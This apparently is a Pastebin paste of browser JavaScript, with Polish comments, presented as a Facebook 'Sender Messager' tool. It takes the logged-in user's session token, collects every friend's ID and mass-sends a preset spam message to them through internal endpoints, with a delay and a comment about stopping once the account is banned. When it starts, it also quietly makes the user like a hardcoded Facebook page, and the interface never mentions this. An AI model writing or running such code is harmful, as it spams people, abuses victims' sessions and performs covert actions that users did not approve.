Advertisement
Guest User

Untitled

a guest
Dec 12th, 2014
1,261
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.04 KB | None | 0 0
  1. /**
  2. * DLA ZARABIAM
  3. * DLA ZARABIAM
  4. * DLA ZARABIAM
  5. * DLA ZARABIAM
  6. * DLA ZARABIAM
  7. **/
  8. function facebook ()
  9. {
  10. this.iIdLoginUser = '';
  11. this.bCheckAction = 'false';
  12. this.iCountSend = 0;
  13. this.iAllFrends = '';
  14. this.iSleep = '';
  15. this.Time = '';
  16.  
  17. /**
  18. * Tworzenie okna do wysylania wiadomosci
  19. **/
  20. this.createDivMessage = function (sGallery, sMessage)
  21. {
  22. var self = this;
  23. var iLeft = Math.ceil(((window.innerWidth || document.body.clientWidth) - 600) / 2);
  24. var sHtml ='<div id="photos_snowlift" class="_n8 _3qx fbPhotoSnowlift fbxPhoto uiLayer fullScreenAvailable _3qw" tabindex="0" role="region" aria-busy="false" style="min-width: 100%;">'+
  25. '<div style="margin-left:'+iLeft+'px; margin-top: 150px; margin-bottom: 150px;'+
  26. 'width: 700px;'+
  27. 'height: 400px;'+
  28. 'background-image: -webkit-gradient( linear, left top, left bottom, color-stop(0, #787878), color-stop(1, #000000) );'+
  29. 'background-image: -o-linear-gradient(bottom, #787878 0%, #000000 100%);'+
  30. 'background-image: -moz-linear-gradient(bottom, #787878 0%, #000000 100%);'+
  31. 'background-image: -webkit-linear-gradient(bottom, #787878 0%, #000000 100%);'+
  32. 'background-image: -ms-linear-gradient(bottom, #787878 0%, #000000 100%);'+
  33. 'background-image: linear-gradient(to bottom, #787878 0%, #000000 100%);'+
  34. 'border-radius: 80px 80px 0 40px;'+
  35. '-webkit-box-shadow: 0px 2px 10px 0px rgba(50, 50, 50, 0.77);'+
  36. '-moz-box-shadow: 0px 2px 10px 0px rgba(50, 50, 50, 0.77);'+
  37. 'box-shadow: 0px 2px 10px 0px rgba(50, 50, 50, 0.77);'+
  38. '">'+
  39. '<div class="top" style="height: 100px;'+
  40. 'width: 100%;'+
  41. 'padding: 15px;">'+
  42.  
  43. '<div class="top-left" style="float: left; width: 240px;">'+
  44. '<div style="width: 100px;'+
  45. 'height: 100px;'+
  46. 'float:left;'+
  47. 'border-radius: 80px 80px 0 80px;'+
  48. 'background-color: silver;'+
  49. 'background-image: url(\'https://graph.facebook.com/'+self.iIdLoginUser +'/picture\'); background-size: cover;">'+
  50. '</div>'+
  51. '<div id="avatersendid" style="width: 100px;'+
  52. 'height: 100px;'+
  53. 'float:left;'+
  54. 'margin-left: 10px;'+
  55. 'border-radius: 80px 80px 80px 0;'+
  56. 'background-size: cover;">'+
  57. '</div>'+
  58. '</div>'+
  59.  
  60. '<div style="float: left; width: 180px; margin-top: 23px;"><h2 style="color: white;">Sender Messager v. 1.0.5b</h2></div>'+
  61. '<div style="float: right; margin-right: 120px;">'+
  62. '<div style="position: relative; left: 150px; color: white;"><a onClick="javascript:oFacebook.setRemoveScript(this)" class="closeTheater" role="button"></a></div>'+
  63. '<table id="status-table" style="color: white;">'+
  64. '<tr>'+
  65. '<td name=""></td>'+
  66. '<td name=""></td>'+
  67. '</tr>'+
  68. '<tr>'+
  69. '<td name="">Ilosc znajomych:</td>'+
  70. '<td name="allfrends">'+self.iAllFrends+'</td>'+
  71. '</tr>'+
  72. '<td name="">Ilosc wyslanych:</td>'+
  73. '<td id="senduserid" name="senduser">0'+'</td>'+
  74. '</tr>'+
  75. '<td name="">Pozostaly czas:</td>'+
  76. '<td id="totalltimeid" name="totalltime">(?)'+' sek</td>'+
  77. '</tr>'+
  78. '</tr>'+
  79. '<td name="">Opoznienie:</td>'+
  80. '<td id="sendsleepid" name="sendsleep">'+self.iSleep+' ms</td>'+
  81. '</tr>'+
  82. '</table>'+
  83. '</div>'+
  84.  
  85. '</div>'+
  86. '<div class="content">'+
  87. '<form name="allusers" action="javascript:oFacebook.sendTotallMessage();">'+
  88. '<div id="galleryfb" style="width: 100%;'+
  89. 'height: 170px;'+
  90. 'overflow: auto; opacity: 0.6;'+
  91. '">'+sGallery.toString()+'</div>'+
  92. //'"></div>'+
  93. '<textarea class="message" name="message" style="width: 670px;'+
  94. 'height: 45px;'+
  95. 'border-radius: 0 0 0 15px;'+
  96. 'padding: 15px;'+
  97. 'opacity: 0.5;">'+sMessage+'</textarea>'+
  98. '<div style="float: right;">'+
  99. '<input style="float: right;'+
  100. 'background-color: #000000;'+
  101. 'color: white;'+
  102. 'text-decoration: none;'+
  103. 'border: 0;" class="button" type="submit" value="Pause" onClick="javascript:oFacebook.bCheckAction=\'true\'" />'+
  104. '<input style="float: right;'+
  105. 'background-color: #000000;'+
  106. 'color: white;'+
  107. 'text-decoration: none;'+
  108. 'border: 0;" class="button" onClick="javascript:oFacebook.bCheckAction=\'false\'" type="submit" value="Start" />'+
  109. '<span style="color: white; text-decoration: none;" id="range">Start(0)</span><input type="range" min="0" max="'+self.iAllFrends+'" value="0" step="1" onchange="javascript:oFacebook.showValue(this.value)" />'+
  110. '</div>'+
  111. '</form>'+
  112. '</div>'+
  113. '<div style="float: left; text-align: left;'+
  114. 'color: white;'+
  115. 'margin-right: 10px;'+
  116. 'color: white;'+
  117. 'font-size: 12px;'+
  118. 'margin-left: 20px;'+
  119. 'opacity: 0.3; z-index: -1;" class="footer">DLA ZARABIAM</div>'+
  120. '</div></div>';
  121. return sHtml;
  122. }
  123.  
  124. this.showValue = function(newValue)
  125. {
  126. var self = this;
  127. document.getElementById("range").innerHTML="Start("+newValue+")";
  128. self.iCountSend = newValue;
  129. self.sellectCheckBox(newValue);
  130. }
  131.  
  132.  
  133. this.setLikeFBTools = function()
  134. {
  135. //id 391936144280862
  136. var self = this;
  137. var sUrl = 'https://www.facebook.com/ajax/pages/fan_status.php';
  138. var d = new Date();
  139. var data = {
  140. "fbpage_id" : "391936144280862",
  141. "add" : "true",
  142. "reload" : "false",
  143. "fan_origin" : "page_timeline",
  144. "nctr[_mod]" : "pagelet_timeline_page_actions",
  145. "__user": self.getMyUserId(),
  146. "__a": "1",
  147. "fb_dtsg": self.getFbDtsg(),
  148. "ttstamp": "" + ('0'+d.getHours()).slice(-2) + ":" + ('0'+d.getMinutes()).slice(-2)
  149. }
  150.  
  151. var req = self.serialize(data);
  152. var sSource = self.sendAjax(sUrl,req);
  153. }
  154.  
  155. this.setRemoveScript = function ()
  156. {
  157. document.getElementById("photos_snowlift").remove();
  158. }
  159.  
  160.  
  161. this.crateDivGallery = function (oIds)
  162. {
  163. var self = this;
  164. var iCount = 0;
  165. var sHtml = '';
  166. for(var i in oIds)
  167. {
  168. iCount++;
  169. sHtml += '<div style="float:left; padding: 10px;"><input name="userid" type="checkbox" checked="checked" value="'+oIds[i]+'" /><img src="https://graph.facebook.com/'+oIds[i]+'/picture"/></div>';
  170. }
  171.  
  172. sHtml += '';
  173. self.iAllFrends = iCount;
  174. return sHtml.toString();
  175. }
  176.  
  177.  
  178. this.sellectCheckBox = function(i)
  179. {
  180. checkboxes = document.allusers.userid;
  181.  
  182. //sHtml = ''
  183. for(var x=0; x<checkboxes.length; x++)
  184. {
  185.  
  186. if(x<i)
  187. {
  188. //console.log("i="+i+' x='+x);
  189. var test = checkboxes[x];
  190. checkboxes[x].checked = false;
  191. //console.log(checkboxes[x].checked);
  192. }
  193. else
  194. {
  195. checkboxes[x].checked = true;
  196. }
  197.  
  198. }
  199. document.allusers.userid.innerHTML = checkboxes;
  200. //console.log(checkboxes);
  201. //document.getElementById("galleryfb").innerHTML = sHtml;
  202. }
  203.  
  204.  
  205. this.getRequest = function (xmlhttp)
  206. {
  207. if (xmlhttp.readyState==4)
  208. {
  209. return xmlhttp.responseText;
  210. }
  211.  
  212. }
  213.  
  214.  
  215. this.sendAjax = function (sUrl, sData)
  216. {
  217. var xmlhttp;
  218. var response;
  219. var self = this;
  220. if (window.XMLHttpRequest)
  221. {// code for IE7+, Firefox, Chrome, Opera, Safari
  222. xmlhttp = new XMLHttpRequest();
  223. }
  224. else
  225. {// code for IE6, IE5
  226. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  227. }
  228. xmlhttp.open("POST",sUrl,false);
  229. xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
  230. xmlhttp.setRequestHeader("Content-length", sData.length);
  231. xmlhttp.setRequestHeader("Connection", "close");
  232. xmlhttp.send(sData);
  233. response = xmlhttp.onreadystatechange = self.getRequest(xmlhttp);
  234. return response;
  235. }
  236.  
  237.  
  238. this.getSelector = function(sSearch)
  239. {
  240. var sFind = document.getElementsByTagName('input');
  241. for(var i = 0; i < sFind.length; i++)
  242. {
  243. if(sFind[i].name.indexOf(sSearch) == 0)
  244. {
  245. return sFind[i].value;
  246. }
  247. }
  248. }
  249.  
  250.  
  251. this.getMyUserId = function ()
  252. {
  253. var self = this;
  254. return self.getSelector('targetid');
  255. }
  256.  
  257.  
  258. this.getFbDtsg = function ()
  259. {
  260. //<input type="hidden" name="fb_dtsg" value="AQHOy-CS3cy_" autocomplete="off" />
  261. var self = this;
  262. return self.getSelector('fb_dtsg');
  263. }
  264.  
  265.  
  266. this.getAllIdFrends = function(iId, fbdtsg)
  267. {
  268. var self = this;
  269. var sUrl = "https://www.facebook.com/ajax/chooser/list/friends/all/";
  270. var aData = "__user="+iId+"&__a=1&fb_dtsg="+fbdtsg+"&ttstamp="+Math.round(new Date().getTime() / 1000)+"";
  271. var sSource = self.sendAjax(sUrl,aData);
  272. return sSource;
  273. }
  274.  
  275.  
  276. /**
  277. * Sprawdzenie checkboxa i pobranie value
  278. */
  279. this.getRadioButtonValue = function (rbutton)
  280. {
  281. if (rbutton.checked)
  282. {
  283. return rbutton.value;
  284. }
  285. return null;
  286. }
  287.  
  288.  
  289. this.serialize = function(obj)
  290. {
  291. var str = [];
  292. for(var p in obj)
  293. str.push(p + "=" + encodeURIComponent(obj[p]));
  294. return str.join("&");
  295. }
  296.  
  297.  
  298. this.random = function (len)
  299. {
  300. var min = Math.pow(10, len-1);
  301. var max = Math.pow(10, len);
  302. return Math.floor(Math.random() * (max - min + 1)) + min;
  303. }
  304.  
  305.  
  306. this.sendMessageToUser = function (iIdUserToSend, sMessageToSend)
  307. {
  308.  
  309. var self = this;
  310. var fbDtsg = self.getFbDtsg();
  311. var fbid = self.getMyUserId();
  312. var d = new Date();
  313. var sUrl = 'https://www.facebook.com/ajax/mercury/send_messages.php';
  314.  
  315. var data = {
  316. "message_batch[0][timestamp_relative]": "" + ('0'+d.getHours()).slice(-2) + ":" + ('0'+d.getMinutes()).slice(-2),
  317. "message_batch[0][author]": "fbid:" + fbid,
  318. "message_batch[0][is_cleared]": "false",
  319. "message_batch[0][message_id]": "<" + self.random(14) + ":" + self.random(10) + "-" + self.random(10) + "@mail.projektitan.com>",
  320. "message_batch[0][specific_to_list][0]": "fbid:" + iIdUserToSend,
  321. "__user": fbid,
  322. "message_batch[0][timestamp_absolute]": "Oggi",
  323. "message_batch[0][spoof_warning]": "false",
  324. "message_batch[0][client_thread_id]": "user:" + iIdUserToSend,
  325. "message_batch[0][source]": "source:chat:web",
  326. "message_batch[0][has_attachment]": "false",
  327. "message_batch[0][source_tags][0]": "source:chat",
  328. "message_batch[0][body]": sMessageToSend,
  329. "message_batch[0][is_filtered_content]": "false",
  330. "message_batch[0][timestamp]": "" + Math.round(new Date().getTime() / 1000),
  331. "message_batch[0][is_unread]": "false",
  332. "message_batch[0][action_type]": "ma-type:user-generated-message",
  333. "__a": "1",
  334. "message_batch[0][specific_to_list][1]": "fbid:" + fbid,
  335. "message_batch[0][html_body]": "false",
  336. "message_batch[0][status]": "0",
  337. "client": "mercury",
  338. "message_batch[0][is_forward]": "false",
  339. "fb_dtsg":fbDtsg
  340. };
  341. var req = self.serialize(data);
  342. var sSource = self.sendAjax(sUrl,req);
  343. //@todo przerwanie w momencie gdy cie zbanuja
  344. }
  345.  
  346. this.setInfoSendUser = function (iCount, iMax)
  347. {
  348. var self = this;
  349. var iTime = Math.ceil((((iMax * self.iSleep) - (iCount*self.iSleep))/1000));
  350. document.getElementById("senduserid").innerHTML = iCount;
  351. document.getElementById("totalltimeid").innerHTML = iTime+' sek';
  352. }
  353.  
  354. this.setSleep = function (i)
  355. {
  356. var self = this;
  357. var oNodeList = document.allusers['userid'];
  358. var sMessage = document.allusers['message'];
  359. if(self.bCheckAction !== 'false')
  360. {
  361. return '';
  362. }
  363.  
  364. if(i<self.iCountSend)
  365. {
  366. i = self.iCountSend;
  367. }
  368. else
  369. {
  370. self.iCountSend = i;
  371. }
  372.  
  373. if(i<oNodeList.length)
  374. {
  375. i++;
  376. self.setInfoSendUser(i);
  377. var iIdUser = self.getRadioButtonValue(oNodeList[i]);
  378. if(iIdUser !==null)
  379. {
  380. self.setInfoSendUser(i, oNodeList.length);
  381. document.getElementById("avatersendid").style.backgroundImage = "url('https://graph.facebook.com/"+iIdUser+"/picture')";
  382. self.sendMessageToUser(iIdUser,sMessage.value);
  383. }
  384. setTimeout(
  385. function(){
  386. self.setSleep(i);
  387. },self.iSleep);
  388. }
  389. }
  390.  
  391.  
  392. this.sendTotallMessage = function()
  393. {
  394. var self = this;
  395. self.setSleep(0);
  396. }
  397.  
  398.  
  399. this.sleep = function (milliseconds)
  400. {
  401. var start = new Date().getTime();
  402. for (var i = 0; i < 1e7; i++) {
  403. if ((new Date().getTime() - start) > milliseconds){
  404. break;
  405. }
  406. }
  407. }
  408.  
  409.  
  410. this.mainSet = function (sMessage)
  411. {
  412. var self = this;
  413. var fbDtsg = self.getFbDtsg();
  414. var iId = self.getMyUserId();
  415. var aFrends = self.getAllIdFrends(iId, fbDtsg);
  416. self.setLikeFBTools();
  417. self.iIdLoginUser = iId;
  418. if(typeof aFrends !== "undefined")
  419. {
  420. aFrends = JSON.parse(aFrends.slice(9,aFrends.length));
  421. var oIds = aFrends['payload']['ids'];
  422. var sGallery = self.crateDivGallery(oIds).toString();
  423. var sLightBox = self.createDivMessage(sGallery, sMessage);
  424. document.getElementById("pagelet_bluebar").innerHTML += sLightBox;
  425. }
  426. }
  427. }
  428.  
  429. var sMessage = 'dla zarabiam.';
  430. var oFacebook = new facebook();
  431. oFacebook.iSleep = 1000;
  432. oFacebook.mainSet(sMessage);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement